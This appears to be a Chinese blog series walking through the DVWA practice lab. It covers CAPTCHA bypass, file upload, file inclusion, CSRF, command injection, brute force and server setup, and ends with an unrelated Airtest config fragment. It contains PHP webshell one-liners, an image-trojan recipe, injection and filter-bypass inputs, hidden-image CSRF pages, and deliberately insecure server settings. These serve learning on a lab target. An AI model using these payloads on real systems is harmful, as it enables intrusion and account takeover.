0%

概述

  • 主要是验证流程出现了逻辑漏洞,比如常见的多个页面的流程流转
  • 注意需要自己开个梯子才能验证此漏洞

安全等级为Low

分析源码

这里分着两个阶段:

  • step == 1 验证用户身份,服务器会用私钥对用户进行身份验证,如果验证成功了才能进行修改密码

  • step == 2 如果如果两次输入的密码一致,就进行修改

image-20220209163634330

开始攻击

输入密码点击change

image-20220209171303625

fiddler抓包发现,step=1时需要匹配验证码,所以验证失败,无法修改密码。

image-20220209171613685

这样的话,我们抓包修改step,直接跳过第一阶段 既可以实现修改密码,在fillder底部输入:bpu http://xxxx.xx.xx.xx/DVWA-2.0.1/vulnerabilities/captcha/ 拦截此请求

image-20220209171903803

把setp=1改为setp=2

image-20220209172051035

点击run to completion按钮

image-20220209172146384

密码修改成功

image-20220209172219770

安全等级为medium

源码分析

我们发现medium级别中的第二阶段多了一步验证passed_captcha的步骤

image-20220209172935832

开始攻击

那我们就抓包修改step=2 ,新增passed_captcha=true,点Run to Completion

image-20220209173504679

修改密码成功

image-20220209173553242

安全等级为High

  • 这里没有在分阶段吗了,都合到一起,说明我们之前的方法不适用了。

  • 分析代码我们可以看出服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,这里的结果无法改变,

  • 只要数g-recaptcha-response等于hidd3n_valu3并且http包头的User-Agent参数等于reCAPTCHA时,就可以绕过验证这块了

image-20220209174306720

开始攻击

fiddler抓包修改,头部修User-Agent:reCAPTCHA,请求参数新增g-recaptcha-response=hidd3n_valu3,点击run to completion

image-20220209175257244

  • 修改密码成功

image-20220209180324054

安全等级为impossible

分析源码

Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证。

image-20220209180824990

本文主要参考这里的步骤

文件上传漏洞 File Upload

  • ⽂件上传是Web 应⽤必备功能之⼀。

  • 如果服务器配置不当或者没有进⾏⾜够的过滤,Web ⽤户就可以上传任意⽂件,包括恶意脚本⽂件,exe 程序等等,这就造成了⽂件上传漏洞。

漏洞的成因

  • 服务器配置不当
  • Web应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。
  • 在程序开发部署时,没有考虑到系统的特性或组件的漏洞,而导致限制被绕过。

漏洞危害

  • 上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本,程序等。
  • 直接上传后门文件,导致网站沦陷。
  • 通过恶意文件,利用其他楼栋拿到管理员权限(提权),导致服务器沦陷。
  • 通过文件上传漏洞获得网站后门,叫Webshell

安全等级LOW

源码分析

低难度级别可以任意文件上传没有做任何安全过滤。我们可以直接上传木马一句话,利用冰蝎连接。

image-20220208170803959

冰歇

概述

  • 冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。老牌 Webshell 管理神器——中国菜刀的攻击流量特征明显,容易被各类安全设备检测,实际场景中越来越少使用,加密 Webshell 正变得日趋流行。由于通信流量被加密,传统的 WAF、IDS 设备难以检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测
  • 官网地址为:https://github.com/rebeyond/Behinder
  • 运行环境:
    • 客户端:jre8+
    • 服务端:.net 2.0+;php 5.3-7.4;java 6+

安装

image-20220208173550815

  • 本地windwos启动客户端
1
D:\exe\Behinder_v3.0_Beta_11.t00ls>java -jar Behinder.jar

image-20220209084403643

开始攻击

  • 上传木马文件,其实就是冰蝎server中带有的shell.php文件
    • 比如<?php @eval($_POST['123']);?>就是典型的一句话木马,这里的123为自定义密码

image-20220209090359025

image-20220209085226115

  • 查看服务器成功上传成功的文件
1
2
3
4
5
6
7
[root@VM-24-13-centos uploads]# pwd
/var/www/html/DVWA-2.0.1/hackable/uploads
[root@VM-24-13-centos uploads]# ll
total 8
-rw-r--r-- 1 root root 667 Jan 26 09:38 dvwa_email.png
-rw-r--r-- 1 apache apache 643 Feb 9 09:02 shell.php # 这个就是刚刚上传的文件

  • 冰歇连接,注意默认密码就是rebeyond

image-20220209090923680

  • 双击刚刚新增的url,自动弹出连接成功的界面(需要等几秒钟,才会出结果)

image-20220209091142730

  • 无论是执行shell命令,还是管理文件,基本上服务器行的信息全部暴露无遗

image-20220209091417269

image-20220209100608363

安全等级为medium

  • 直接上传木马文件shell.php,报错了

image-20220209101333174

源码分析

对文件上传类型和文件大小做了限制

image-20220209101149257

开始攻击

先把服务器上的shell.php文件删除

1
2
3
4
5
[root@VM-24-13-centos uploads]# rm shell.php
rm: remove regular file ‘shell.php’? y
[root@VM-24-13-centos uploads]#


上传木马shell文件

image-20220209103101816

burp site 拦截上传请求

image-20220209103229163

把content-type修改为image/jpeg

image-20220209103347977

点击拦截请求,把状态改为禁用

image-20220209103440177

image-20220209103506461

发现文件上传成功

image-20220209103525182

服务器上查看到刚刚上传成功的文件

1
2
3
4

[root@VM-24-13-centos uploads]# ls
dvwa_email.png shell.php

用冰歇同样连接成功

image-20220209103700345

安定等级为High

注意,本次攻击失败,但是也把攻击步骤写下来

源码分析

对文件后缀进行白名单验证,所以我们只能进行图片jpg png的上传

image-20220209104615758

中国菜刀

image-20220209114037607

  • 使用copy命令的方式,写一个图片木马文件

image-20220209154852952

  • 1.bat中的文件内容就是copy命令
1
copy 1.jpg/b+1.php/a 3.jpg
  • 1.php中的内容,注意777是密码
1
2
3
4

<?php
fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777])?>');
?>
  • 运行1.bat生成了3.jpg文件

image-20220209155219270

  • 上传3.jpg文件

image-20220209155338946

  • 用文件包含的方式访问刚刚上传的图片,发现了乱码

    http:/xx.xx.xx.xx/DVWA-2.0.1/vulnerabilities/fi/?page=file:////var/www/html/DVWA-2.0.1/hackable/uploads/3.jpg

image-20220209155603879

  • 使用菜刀连接,发现一直无法得到webshell,最终发现原来这样访问肯定不行,因为没有登录,这样直接访问跳转到了登录界面,很多博文都是这样记录的,有点奇怪

image-20220209155804364

安全等级为Impossible

源码分析

这里分析一下 Impossible级别的代码,对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

image-20220209160436185

本文主要参考的来自这里

概述

  • 文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中(php中比较常见),提供了:require(),require_once()
  • 这些文件包含函数,这些函数在代码设计中被经常使用到。
  • 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞
    • 本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
    • 远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
      因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤

安全等级为Low

image-20220208151327133

源码分析

  • 先看下file1.php源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[root@VM-24-13-centos fi]# pwd
/var/www/html/DVWA-2.0.1/vulnerabilities/fi
[root@VM-24-13-centos fi]# cat file1.php
<?php

$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: File Inclusion</h1>
<div class=\"vulnerable_code_area\">
<h3>File 1</h3>
<hr />
Hello <em>" . dvwaCurrentUser() . "</em><br />
Your IP address is: <em>{$_SERVER[ 'REMOTE_ADDR' ]}</em><br /><br />
[<em><a href=\"?page=include.php\">back</a></em>]
</div>

<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . "</li>
</ul>
</div>\n";

?>

  • 看下dvwa的源码,直接获取了page参数,没有任何过滤

image-20220208151611350

  • 尝试点击,发现page的值就是文件名

image-20220208151804922

开始攻击

  • 服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确实为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

本地文件包含

  • 将本地文件路径传给page,直接在服务器的本地路径新建一个phpinfo.txt文件
1
2
3
4
5
6
7
8
[root@VM-24-13-centos html]# pwd
/var/www/html
[root@VM-24-13-centos html]# vi phpinfo.txt
<?php phpinfo(); ?>


[root@VM-24-13-centos html]# systemctl restart httpd

image-20220208153727889

远程文件包含

  • 本地搭建简单的http服务器,我用的python3自带的

image-20220208155233231

1
2
3
# 启动http 服务器
D:\book\1>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) .

image-20220208155358733

image-20220208155438310

安全等级为Medium

源码分析

  • 将 “http://“ ,”https://“ ,”../“ ,”.."“ 替换成空,我们直接双写绕过,如:像 http:// 写成 htthttp://p://,

image-20220208160332055

  • 具体的url如下:

http://XXXX.XXX.XX/DVWA-2.0.1/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/phpinfo.txt

image-20220208160810658

安全等级为High

源码分析

如果page 中不包含 file 并且 file 不等于 include.php,则 输出 File not found !

image-20220208161716844

开始攻击

通过file协议实现本地文件包含:具体的url如下:

http:/XX.XX.XXX.xx/DVWA-2.0.1/vulnerabilities/fi/?page=file:////var/www/html/phpinfo.txt

image-20220208162158052

安全等级为impossible

源码分析

impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

image-20220208162426973

本文主要来自这里

说明

  • 承接上文DVWA通关指南-Command-Injection(命令注入),本文对Cross Site Request Forgery (CSRF)(跨站请求伪造)进行实践
  • 一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站接收并误以为是用户的真实操作而去执行命令
  • 本次功能是对登录密码进行修改,修改后请用新密码登录DVWA

安全等级为LOW

源码分析

image-20220207151219460

抓包查看,直接就是get请求,没有任何防护,如token验证

image-20220207154001441

开始攻击

我们使用Burpsuite中的PoC检测CSRF

  • 拦截到请求后,点击行动-相关工具-CSRF PoC生成

image-20220207153930211

  • 点击 在浏览器中测试

image-20220207154417669

  • Burpsuite会自动创建一个站点,复制 URL

image-20220207154442878

image-20220207160513370

  • 提交后,自动跳转url其实是修改密码的url,查看到提示密码修改成功,用新密码123456登录成功

image-20220207160801912

我们可以伪装恶意代码

  • 我们将构造的恶意链接伪装,放入index.html中
  • 打开我的服务器中的httpd中的dvwa目录下,新建index.html
1
2
3
4
5
6
7
8
[root@VM-24-13-centos DVWA-2.0.1]# pwd
/var/www/html/DVWA-2.0.1
[root@VM-24-13-centos DVWA-2.0.1]# vi index.html


<img src="http://xxx.xxx.xxx.xx/DVWA-2.0.1/vulnerabilities/csrf/?password_new=1234567&password_conf=1234567&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>resource not found.<h2>
  • 重启服务器
1
2
3
[root@VM-24-13-centos DVWA-2.0.1]# service httpd restart
Redirecting to /bin/systemctl restart httpd.service

  • 访问刚刚编辑的index.html,查看请求发现发起 了修改密码

image-20220207170837412

安全等级为:medium

分析源码

Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名),希望通过这种机制抵御CSRF攻击。

image-20220207171945510

使用安全等级为Low访问index.html的方式时,发送修改密码的请求,一直加载中最后响应302后,自动发送登录请求

image-20220207172258697

开始攻击

  • 漏洞利用过滤规则是http包头的Referer参数的值中必须包含主机名(这里是我服务器的ip)我们可以将攻击页面命名为XX.XX.XX.XX.php(XX是服务器的host,页面被放置在攻击者的服务器里)就可以绕过了
  • 准备php文件,把密码修改成12345678
1
2
3
4
5
6
7
8
9
10
11
12

[root@VM-24-13-centos DVWA-2.0.1]# pwd
/var/www/html/DVWA-2.0.1

[root@VM-24-13-centos DVWA-2.0.1]# vi XX.XX.XX.XX.php

<img src="http://XX.XX.XX.XX/DVWA-2.0.1/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>resource not found.<h2>

[root@VM-24-13-centos DVWA-2.0.1]# systemctl restart httpd

  • 访问刚刚新增的host.php文件,发现修改密码修改成功了(用12345678登录成功),请求头部加入了Referer

image-20220207174637976

安全等级为Hight

修改密码查看请求看下区别

image-20220208090610360

源码分析

High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

image-20220208090125335

开始攻击

客户端访问攻击页面->攻击页面获取修改密码页面的token->将token和密码作为参数一起提交,攻击页面获取修改密码页面的token这一步属于跨域请求,浏览器已经禁止这么做了,所以想要完整这个操作,有两个思路:

  • 第一, 将该js上传到服务器的目录下,这样就是同一个域了,不过如果可以这样,为啥不放木马呢?
  • 第二, 利用xss,xss可以执行代码,获取token,xss更现实一点,但是也得需要该网站存在xss,所以单纯从这个修改密码页面,无法突破High漏洞,本此不坐实际,等到时候学到xss时,反过来再做实际

安全等级为impossible

这里让输入原密码,不清楚原密码的情况下,就无法进行CSRF攻击。

结合业务设计,修改密码必须提供原密码,保障安全。

image-20220208091727056

说明

  • 承接上文DVWA通关指南-Brute Force(爆破),本文对Command Injection(命令注入)进行实践
  • 命令注入攻击的目的是,在易受攻击的应用程序中注入和执行攻击者指定的命令。在这种情况下,执行不需要的系统命令的应用程序就像一个伪系统外壳,攻击者可以将其作为任何授权的系统用户使用。但是,执行命令的权限和环境与 web 服务相同。
  • 在大多数情况下,由于缺少正确的输入数据验证,攻击者对例如表单、cookies、HTTP标头等进行操控,使得命令注入攻击成为可能。此攻击也称为“远程命令执行 (RCE)”。
  • 通过 RCE 远程查找操作系统上 web 服务的用户以及机器主机名。

安全等级为LOW

  • 在该等级下允许直接输入指令给一些 PHP 函数,从而使这些指令将在操作系统上执行。在输入其他的一些的指令时,有可能发生不符合设计意图的命令被执行。

  • 这可以通过在请求中添加“一旦命令成功执行,运行此命令”的其他指令来完成。

源码分析

传入的 ping 命令的参数 target,并没有进行任何过滤。

image-20220129092654893

攻击方式

  • 由于在操作系统中,“&”、“&&”、“|”、“||”都可以作为命令连接符使用,由于网页没有对参数进行任何过滤,因此可以用连接符后面接上其他指令来执行
  • 输入: 127.0.0.1 && ls

image-20220129092930315

安全等级为Medium

开发人员已经知晓有关命令注入的一些问题,并使用了各种方式来过滤输入。然而这还不够,攻击者仍然可以使用各种其他系统语法来执行所需的命令。

源码审计

源码如下,medium 级别的代码加入了对“&&”和“;”的过滤,替换成空格

image-20220129095247031

攻击方式

  • 输入127.0.0.1&ls /usr/

  • “&&” 连接符不能用了,那我们就用 “&” 连接符来替代就行了。这里需要注意的是”&&”与” &”的区别:

  • Command 1&&Command 2

    • 先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
  • Command 1&Command 2

    • 先执行Command 1,不管是否成功,都会执行Command 2

image-20220129095529294

安全等级为High

源码审计

相比 Medium 级别的代码,High 级别的代码进一步完善了过滤的黑名单。

image-20220129104751233

攻击方式

输入:127.0.0.1|ls /usr/

image-20220129104936769

安全等级为impossible

源代码分析

mpossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

  • 代码中使用stripslashes() 函数 删除反斜杠,该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
  • explode() 函数 使用一个字符串分割另一个字符串,并返回由字符串组成的数组
  • is_numeric(string): 该检测string是否为数字或数字字符串

image-20220129105616718

总结与防御

在一些 Web 程序中需要调用一些执行系统命令的函数,例如 PHP 的 system、exec、shell_exec 函数等。当攻击者能够直接操作命令执行的参数,并且没有代码对传入的参数进行过滤时,攻击者就能将用于搞破坏的系统命令夹带进来让系统执行。
在 Windows 系统和 Linux 系统中都有一些管道符,这些管道符可以被用来拼接攻击指令:

  • “&&”:前面的语句正确执行时,才执行后面的语句;
  • “&”:前面的语句执行出错时,执行后面的语句;
  • “|”:将前面的语句运行的结果,当做后面语句的输入,显示后面语句的执行结果;
  • “||”:前面的语句出错时,执行后面的语句。

对于指令注入漏洞,比较好的防御方式是尽可能别用命令执行函数,对于输入的参数要做好黑名单过滤或者白名单验证

说明

  • 上文服务器已经搭建好了DVWA环境,本篇开始介绍对DVWA的使用

  • Bruce Force(爆破)。密码破解是从计算机系统中存储或传输的数据中还原出密码的过程,一种常见的方法是反复尝试猜测密码,直到把正确的密码试出来。用户往往会设置弱密码,不安全选择的例子包括字典中的单字、姓氏、任何太短的密码(通常被认为少于6或7个字符)或可预测的模式(例如,交替的元音和辅音,称为 leetspeak,因此 “password” 变成了 p@55w0rd”)。

    image-20220127145156521

安全等级LOW

把安全等级调整为:LOW。开发人员完全忽视了任何保护方法,允许任何人尝试多次任意访问,可以在没有任何影响的情况下对任意用户进行登录。

image-20220127145338823

源代码审计

  • 点击查看源码

image-20220127145613479

  • 分析。源码如下,代码将获取用户输入的用户名和密码并将其进行 md5 加密,然后使用 SQL SELECT 语句进行查询。由于进行了 md5 加密,因此直接阻止了 SQL 注入,因为经过 md5 这种摘要算法之后 SQL 语句就会被破坏(不过这里用 SQL 注入可以登陆成功)。注意到此时服务器只是使用了 isset() 函数验证了参数 Login 是否被设置,参数 username、password 没有做任何过滤,更重要的是没有任何的防爆破机制。

image-20220127145759588

攻击方式

工具准备

  • Burp Suite Pro 2020.4_v2.5.0.2(有需要,可以联系我)

    • 依赖java9,可以从这里下载安装,设置好环境变量
  • 设置Burp 代理

image-20220127151952103

  • chrome浏览器设置代理

image-20220127152139068

开始测试

在Brute Force中,用户名输入admin,密码输入1123(错误的密码),正确的密码是password,点击登录被Burp 拦截

image-20220127152224491

image-20220127152346413

把拦截的请求发送到测试器

image-20220127152650009

在测试器点击清楚

image-20220127153846031

选择密码,点击添加

image-20220127153928769

点击Palyloads,载入自定义的密码字典

image-20220127155906579

设置下线程数,开始攻击

image-20220127163807548

查看测试结果,有一个长度不一样的,点进去看下

image-20220127163854226

登录成功了

image-20220127163956037

安全等级Medium

此阶段在验证失败的登录屏幕上添加睡眠,这意味着当您登录不正确时,在页面可见之前将有额外的两秒钟等待。这只会减慢一分钟内可处理的请求量,使暴力攻击的时间更长。

image-20220127171112317

源码审计

源码如下,Medium 级别的代码主要增加了 mysql_real_escape_string 函数,该函数会对字符串中的特殊符号进行转义,从而对用户输入的参数进行了简单的过滤。相比 low 级别的代码,当登录验证失败时界面将冻结 2 秒,从而影响了爆破操作的效率,不过如果是一个闲来无事并且很有耐心的白帽黑客,爆破出密码仍然是时间问题。

image-20220127170706740

攻击方式

和 low 级别一样,还是用 Brup 抓包后爆破即可,只是因为每次测试都要等上 2 秒,需要等稍长的时间而已。

安全等级为High

开发者使用了 “CSRF” 的反伪造请求,有一个旧的说法表示这种保护可以阻止暴力攻击,但事实并非如此。这个级别也扩展了中等级别,在登录失败时等待,但这次是 2 到 4 秒之间的随机时间,这样做的目的是试图混淆任何时间预测。使用验证码表单可能会产生与 CSRF 令牌类似的效果。

源码审计

High 级别的代码使用了stripslashes 函数,进一步过滤输入的内容。同时使用了 Token 抵御 CSRF 攻击,在每次登录时网页会随机生成一个 user_token 参数,在用户提交用户名和密码时要对 token 进行检查再进行 sql 查询

image-20220127171703241

攻击方式

在Brute Force中,用户名输入admin,密码输入1123(错误的密码),正确的密码是password,点击登录被Burp 拦截

image-20220127152224491

被拦截的请求多个token

image-20220128114155998

把拦截的请求发送到测试器

image-20220127152650009

在测试器中,我把密码和token作为被攻击的参数,攻击类型需要改为Pitchfork

image-20220128160535877

设置密码的规则

Playloads设置

和之前一样,载入密码字典

image-20220128115211854

token的设置

Playloads设置

有效载荷类型为递归搜索

image-20220128115300062

Options的设置

线程数设置为1,这样就能每次只取一个token值

image-20220128115449383

重定向设置为总是

image-20220128115631963

Grep-Extract设置,在响应结果中提前token的值,如果响应是302就要重新获取请求或者拦截,点击token的值,分隔符自带填入进去

image-20220128154844054

  • 点击ok后,发现递归搜索文本框中自带填入了规则值

image-20220128155009012

并在playloads初始化有效负载中填入token的值

image-20220128155121049

完成这些,我们就可以开始攻击了,按start attack

image-20220128160644340

测试完成后,查看结果

image-20220128160432361

安全等级为Impossible

image-20220128161118392

暴力(和用户枚举)不应该在该级别的代码上实现,开发人员增加了一个“锁定”功能,如果在过去 15 分钟内有5次错误登录,被锁定的用户将无法登录。

源码审计

image-20220128161334594

总结与防御

  • 由于服务器没有对用户的输入次数进行限制,导致攻击者可以利用爆破的手段来进行攻击,通过穷举法将用户名、密码等信息爆出来。当攻击者结合社会工程学生成了庞大的字典时,爆破攻击的可能性将会被增大。对于爆破漏洞,开发者可以对用户的登陆次数设置阈值,当某用户名表示的用户的登录次数在一定时间内超过阈值时,就暂时锁定用户。也可以进行 IP 检测,如果某个 IP 的登录次数超过阈值也可以锁定 IP。当然还有一种我们熟悉的方式,就是设置只有人可以通过验证的验证码或者是其他的验证手法,来保证进行登录操作的是人而不是机器。
  • Burp的字典爆破可以一站式爆出结果,很方便,但是字典攻击一般很耗时,穷举的爆破一般渗透中不是上选,而且这种爆破手段对字典有要求,理论上时间充足的话足够优秀的字典无敌。但是可惜实战中不会用那么多时间,如果登录次数错误有限制以及验证码等一些列措施,并不适合此方式
  • 本文主要来自DVWA通关详解DVWA 通关指南:Brute Force (爆破)

DVWA简介

DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的 环境,帮助Web开发者更好的理解Web应用安全防范的过程。DVWA一共包含十个模块分别是:

  • Bruce Force //暴力破解

  • Command Injection //命令注入

  • CSRF //跨站请求伪造

  • File Inclusion //文件包含

  • File Upload //文件上传漏洞

  • Insecure CAPTCHA //不安全的验证

  • SQL Injection //sql注入

  • SQL Injection(Blind) //sql注入(盲注)

  • XSS(Reflected) //反射型XSS

  • XSS(Stored) //存储型XSS

同时每个模块的代码都有4种安全等级:Low、Medium、High、Impossible。通过从低难度到高难度的测试并参考代码变化可帮助学习者更快的理解漏洞的原理。

DVWA的搭建

  • DVWA是由PHP代码开发的,可以采用更简单的搭建方式,就是用xampp
  • 我本次搭建到腾讯云服务器上,采用手动安装服务的方式,并不安装mariadb和mariadb-server,因为我服务器已经安装了mysql
1
yum install php php-mysql php-gd  httpd -y
  • 下载最新的DVWA并解压
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[root@VM-24-13-centos local]# wget https://codeload.github.com/digininja/DVWA/zip/refs/tags/2.0.1
[root@VM-24-13-centos local]# unzip 2.0.1 -d dvwa
[root@VM-24-13-centos local]# cd dvwa
[root@VM-24-13-centos dvwa]# ll
total 4
drwxr-xr-x 10 root root 4096 Sep 1 2020 DVWA-2.0.1
[root@VM-24-13-centos dvwa]# cd DVWA-2.0.1/
[root@VM-24-13-centos DVWA-2.0.1]# ll
total 148
-rw-r--r-- 1 root root 3415 Sep 1 2020 about.php
-rw-r--r-- 1 root root 7296 Sep 1 2020 CHANGELOG.md
drwxr-xr-x 2 root root 4096 Sep 1 2020 config
-rw-r--r-- 1 root root 33107 Sep 1 2020 COPYING.txt
drwxr-xr-x 2 root root 4096 Sep 1 2020 docs
drwxr-xr-x 6 root root 4096 Sep 1 2020 dvwa
drwxr-xr-x 4 root root 4096 Sep 1 2020 external
-rw-r--r-- 1 root root 1406 Sep 1 2020 favicon.ico
drwxr-xr-x 5 root root 4096 Sep 1 2020 hackable
-rw-r--r-- 1 root root 895 Sep 1 2020 ids_log.php
-rw-r--r-- 1 root root 4393 Sep 1 2020 index.php
-rw-r--r-- 1 root root 1869 Sep 1 2020 instructions.php
-rw-r--r-- 1 root root 4183 Sep 1 2020 login.php
-rw-r--r-- 1 root root 414 Sep 1 2020 logout.php
-rw-r--r-- 1 root root 199 Sep 1 2020 phpinfo.php
-rw-r--r-- 1 root root 154 Sep 1 2020 php.ini
-rw-r--r-- 1 root root 15490 Sep 1 2020 README.md
-rw-r--r-- 1 root root 26 Sep 1 2020 robots.txt
-rw-r--r-- 1 root root 4724 Sep 1 2020 security.php
-rw-r--r-- 1 root root 3063 Sep 1 2020 setup.php
drwxr-xr-x 2 root root 4096 Sep 1 2020 tests
drwxr-xr-x 16 root root 4096 Sep 1 2020 vulnerabilities

  • 开启服务
1
systemctl start  httpd 
  • 移动到apache根目录下
1
[root@VM-24-13-centos dvwa]# cp -r DVWA-2.0.1/ /var/www/html/
  • 配置文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root@VM-24-13-centos config]# pwd
/var/www/html/DVWA-2.0.1/config

[root@VM-24-13-centos config]# cp config.inc.php.dist config.inc.php

[root@VM-24-13-centos config]# vi config.inc.php


_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'dvwa1234';


$_DVWA[ 'db_port '] = '3306';



$_DVWA[ 'recaptcha_public_key' ] = 'XXXXXAAAKPoVVMvbWSGeo4rm0D-Ev5TKSTr';
$_DVWA[ 'recaptcha_private_key' ] = 'XXXXAJfPh10KQCdJZizM0yfmQTHQjA3y';

image-20220126100635195

image-20220126100827029

  • 创建数据库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[root@VM-24-13-centos config]# mysql -u root -p
mysql> create database dvwa;
mysql>use dvwa;
mysql> set global validate_password.policy='LOW'; # mysql8后,有密码策略要求,改为低
mysql >create user 'dvwa'@'%' identified by 'dvwa1234'; # 创建用户和密码
mysql>use mysql;
mysql> select host, user, authentication_string, plugin from user;
+-----------+------------------+------------------------------------------------------------------------+-----------------------+
| host | user | authentication_string | plugin |
+-----------+------------------+------------------------------------------------------------------------+-----------------------+
X3% | dvwa | $A$005$6?yx

mysql>use dvwa;
mysql> grant all privileges on dvwa.* to 'dvwa'@'%'; # 授权数据库给用户
mysql>flush privileges;
mysql>exit;

# 登录成功
mysql -u dvwa -p
  • 80端口腾讯云在规则中已经默认打开,设置下防火墙
1
2
3
4
5
6
7
# 开启防火墙
systemctl start firewalld
# 防火墙打开80端口
[root@VM-24-13-centos config]# firewall-cmd --zone=public --add-port=80/tcp --permane
# 重启httpd服务
service httpd restart

  • 用外网ip打开安装目录

image-20220126150340578

  • 出现一些红色错误,一个个来解决

image-20220126151224710

  • 设置php.ini
1
2
3
4
vi /etc/php.ini

allow_url_fopen = On
allow_url_include = On
  • 设置权限
1
2
3
4
5
6
7
8
9
[root@VM-24-13-centos hackable]# pwd
/var/www/html/DVWA-2.0.1/hackable

[root@VM-24-13-centos hackable]# chmod 777 uploads
[root@VM-24-13-centos DVWA-2.0.1]# chmod 777 external/phpids/0.6/lib/IDS/tmp/phpids_log.txt

[root@VM-24-13-centos DVWA-2.0.1]# chmod 7777 config/
# 重启httpd服务
service httpd restart
  • 出现加密的插件不存在
1
2
3
4
mysql -uroot -p
set global validate_password.policy='LOW'
ALTER USER 'dvwa'@'%' IDENTIFIED WITH mysql_native_password BY 'dvwa1234';
flush privileges;
  • 再次打开页面,就可以了,点击登录,用户名和密码为:admin/password

image-20220126152915786

image-20220126153115113

说明

前文介绍了aritest自动化测试框架设计,这次分析下如何设计多机并行,本次测试是安卓手机,雷电模拟器和真机,谷歌浏览器

多机安卓

配置文件

  • setting.yml

  • 和前文配置差不多,加了个boot=multi

    • 只要设置此指,就会读取下面的值,里面给不同设备指定了不同模块

      1
      2
      [multi]
      test_case = [{"dev":"ZL9LC685V86DNNMN","test_module": ["我的"],"phone":"真机1"}, {"dev":"emulator-5554","test_module":["他的"],"phone":"雷电"}]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[default]
# 包名
pkg = com.jianshu.haruki
# 手机名字
phone=雷电模拟器
# 设备连接名字
dev_connect=Android://127.0.0.1:5037/
# 设备id,adb devices 获取,如果启动多设备,这里无效
dev=emulator-5554
# 用例目录
root_path=E:\proj\airtest_auto\air_case\android
# test_plan=1 表示调试用例需要配合test_module使用,0表示全部用例;如果启动多设备,test_plan默认为0,设置1也无效
test_plan=1
test_module=["他的"]
# false|true 表示是否运行用例之前,删除log文件夹,删除后会影响查看历史报告
remove_log=true
# false|true 是否开启录屏,若传true就会自动录屏,但是在模拟器上录屏失败,只使用于真机
recording=false
